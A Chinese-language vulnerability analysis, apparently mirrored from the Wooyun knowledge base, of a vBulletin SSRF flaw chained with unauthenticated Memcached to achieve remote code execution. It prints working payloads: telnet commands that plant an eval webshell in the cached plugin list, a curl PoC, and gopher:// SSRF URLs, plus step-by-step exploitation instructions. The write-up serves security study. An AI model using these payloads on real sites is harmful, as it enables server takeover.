vBulletin rce 0day分析

wyzsk發表於2020-08-19
作者: 路人甲 · 2015/08/28 15:50

作者:Ambulong(安恆安全研究院)

0x00 前言


fd上有人公開了vBulletin0day POC,但沒有提供漏洞分析過程。 vBulletin是國外領先的論壇程式,國內一般稱其為VBB,基於PHP+mySQL開發.vBulletin是商業軟體,需付費使用。

vBulletin允許透過URL遠端上傳檔案,但對URL並沒有作嚴格的過濾,導致SSRF漏洞的產生。加上許多vBulletin網站同時將vBulletinMemcachedWEB伺服器安裝在一起,結合SSRF將導致漏洞變為命令執行。

0x01 漏洞分析


首先講下vBulletin的plugin(hook)執行方式,vBulletin將plugin的資訊(包括程式碼)儲存在資料庫,程式執行時臨時從資料庫讀取程式碼執行,可以理解成將include 'pluginname.php'變成eval(getCodeFromDB('pluginname'))。在Memcache開啟的情況下,vBulletin會將plugin的程式碼快取在Memcached裡來增加讀取速度。

我們都知道訪問Memcached是不需要密碼的,這樣一來如果Memcached的訪問埠暴露在公網,我們就修改vBulletinMemcached中的plugin程式碼為惡意程式碼,這導致的後果將不堪設想。

vBulletin官網上的建議是Memcached不要和vBulletin安裝在同臺伺服器,但許多站長對此還是視而不見,或者僅透過將防火牆設定將Memcached埠對外禁止訪問就以為解決了問題。

不幸的是,vBulletin中存在SSRF漏洞,攻擊者可以將存在漏洞的檔案當作代理來向伺服器上的Memcached發起本地請求。

Memcached未授權訪問

我們首先看下Memcached的未授權訪問是如何導致vBulletin命令執行的。

透過關鍵字查詢,發現語句vBulletinHook::set_pluginlist($vbulletin->pluginlist),找到set_pluginlist的宣告在檔案./includes/class_hook.php中,根據註釋內容:

#!php
// to call a hook:
//  require_once(DIR . '/includes/class_hook.php');
//  ($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;

得知,plugin的呼叫方式為($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;,功能是獲取plugin的程式碼並執行。

我們選用出現頻率較高的global_start的程式碼,對應的語句是($hook = vBulletinHook::fetch_hook('global_start')) ? eval($hook) : false;,這句話在./global.php檔案裡,所以包含./global.php的頁面都將包含我們的惡意程式碼。

接下來訪問Memcached伺服器看下pluginlist項的資料

$ telnet 172.16.80.156 11211
Trying 172.16.80.156...
Connected to 172.16.80.156.
Escape character is '^]'.
get pluginlist
...(序列化後的陣列)
END
quit

enter image description here

獲取pluginlist的資料將返回序列化後的pluginlist陣列。 相關程式碼在./includes/class_hook.php類函式build_datastore中。

#!php
$plugins = $dbobject->query_read("
    SELECT plugin.*,
        IF(product.productid IS NULL, 0, 1) AS foundproduct,
        IF(plugin.product = 'vbulletin', 1, product.active) AS productactive
    FROM " . TABLE_PREFIX . "plugin AS plugin
    LEFT JOIN " . TABLE_PREFIX . "product AS product ON(product.productid = plugin.product)
    WHERE plugin.active = 1
        AND plugin." . "phpcode <> ''
    ORDER BY plugin.executionorder ASC
");
while ($plugin = $dbobject->fetch_array($plugins))
{
    if ($plugin['foundproduct'] AND !$plugin['productactive'])
    {
        continue;
    }
    else if (!empty($adminlocations["$plugin[hookname]"]))
    {
        $admincode["$plugin[hookname]"] .= "$plugin[phpcode]\r\n";
    }
    else
    {
        $code["$plugin[hookname]"] .= "$plugin[phpcode]\r\n";
    }
}
$dbobject->free_result($plugins);

build_datastore('pluginlist', serialize($code), 1);
build_datastore('pluginlistadmin', serialize($admincode), 1);

透過程式碼可知$code陣列的格式為$code=array('hookname'=>'phpcode'); 我們要修改Memcached中的pluginlist程式碼,我們也需要將我們的程式碼放到$code陣列內序列化後再寫入Memcached

#!php
$code=array('global_start'=>[email protected]($_REQUEST[\'eval\']);');
echo serialize($code)."\n".strlen(serialize($code));

輸出:

a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化後的資料
59 //字串長度

接下來就是修改pluginlist項的資料為我們的pluginlist

$ telnet 172.16.80.156 11211
Trying 172.16.80.156...
Connected to 172.16.80.156.
Escape character is '^]'.
set pluginlist 0 120 59
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";}
STORED
quit

enter image description here

命令修改了global_start的程式碼,所以包含了./global.php的頁面都將含有我們的惡意程式碼。

這時訪問http://172.16.80.156/showthread.php?eval=phpinfo();發現我們的程式碼已經執行。

enter image description here

但是在大多數情況下,Memcached是不允許外網訪問,這時就需要用到下面的SSRF

SSRF(Server-side Request Forgery,伺服器端請求偽造)

SSRF(Server-Side Request Forgery:伺服器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。

via:http://wiki.wooyun.org/web:ssrf

(注:測試前先刪除上一步的pluginlist, delete pluginlist) vBulletin的遠端上傳功能在vB_Upload_*類和vB_vURL類中都有使用到,我們以vB_Upload_Userpic為例分析。 在檔案./includes/class_upload.php中類vB_Upload_Userpic->類函式process_upload()中呼叫了類函式accept_upload(),之後accept_upload()呼叫了fetch_remote_filesize(),再來呼叫了vB_vURL類,最後到vB_vURL_cURL類中的exec()函式,整個過程中傳入的avatarurl變數都未作任何過濾。

報告文件中的POC:http://seclists.org/fulldisclosure/2015/Aug/58

$ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; 
bb_password=926944640049f505370a38250f22ae57' --data 
'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'

按報告來理解的話,Memcached將執行:

HEAD /
set pluginlist 0 0 96
a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']);die();}
";}
quit
.png HTTP/1.0
Host: localhost
User-Agent: vBulletin via PHP
Connection: close

但是在本地測試時,上面的EXP並不能使用,經抓包分析,在我們測試時連結中的%0D%0A並未能轉換成換行符。 測試程式碼: #!php $url = 'http://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST1);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, false); $str = curl_exec($curl); curl_close($curl); var_dump($str);

抓包結果:

enter image description here

最後多次測試和查閱參考資料發現,在gopher協議下EXP可以復現,但是vB_Upload_Userpic只允許(http|ftp)s開頭的連結。

參考資料: https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1

文中給出的Exploit:

gopher://localhost:11211/1%0astats%0aquit

dict://locahost:11211/stats

ldap://localhost:11211/%0astats%0aquit

然而將HTTP協議改為Gopher協議

#!php
$url = 'gopher://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit';

抓包結果:

enter image description here

可以看出,此時的%0D%0A轉換成換行符了。 接下來,我們需要的是一個能帶入gopher://SSRF點,經過搜尋對vB_vURL的呼叫,位置在./blog_post.phpdonotify內,函式send_ping_notification()

函式send_ping_notification()的宣告在./includes/blog_functions_post.php,函式中呼叫的fetch_head_request()呼叫了vB_vURL類來發起請求,整個過程中$url變數未作過濾。 我們在前端可勾選發表部落格中的附加選項通知在這篇文章中連結的其它部落格,來呼叫這個變數。

0x02 漏洞利用


  1. 註冊使用者並登入。
  2. 發表新文章(http://*host*/blog_post.php?do=newblog)。
  3. 加入超連結gopher://localhost:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit

enter image description here

  1. 附加選項中勾選通知在這篇文章中連結的其它部落格

enter image description here

enter image description here

  1. 發表->選擇連結->提交。

  2. 訪問http://*host*/showthread.php?1=phpinfo();檢視是否執行成功。

enter image description here

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章